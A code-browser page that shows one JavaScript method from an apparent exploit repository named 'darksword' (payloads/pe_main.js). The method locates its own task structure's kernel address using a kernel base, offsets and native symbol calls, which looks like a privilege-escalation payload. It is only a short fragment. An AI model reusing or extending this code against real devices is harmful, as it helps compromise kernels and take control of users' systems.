MCPcopy Create free account
hub / github.com/bhideki/darksword / getSelfTaskAddr

Method getSelfTaskAddr

payloads/pe_main.js:2411–2428  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

2409 }
2410
2411 getSelfTaskAddr() {
2412 console.log(TAG, `getSelfTaskAddr`);
2413
2414 let selfTaskKaddr = 0;
2415 for (let i=0; i<5; i++)
2416 {
2417 selfTaskKaddr = this.#findSelfTaskKaddr(true);
2418 if (!selfTaskKaddr)
2419 {
2420 console.log(TAG, `Searching the other way around`);
2421 selfTaskKaddr = this.#findSelfTaskKaddr(false);
2422 }
2423 else
2424 break;
2425 libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep",20000);
2426 }
2427 return selfTaskKaddr;
2428 }
2429
2430 #findSelfTaskKaddr(direction) {
2431 let kernelTaskAddr = this.#kernelBase + this.#offsets.kernelTask;

Callers

nothing calls this directly

Calls 2

#findSelfTaskKaddrMethod · 0.95
callSymbolMethod · 0.80

Tested by

no test coverage detected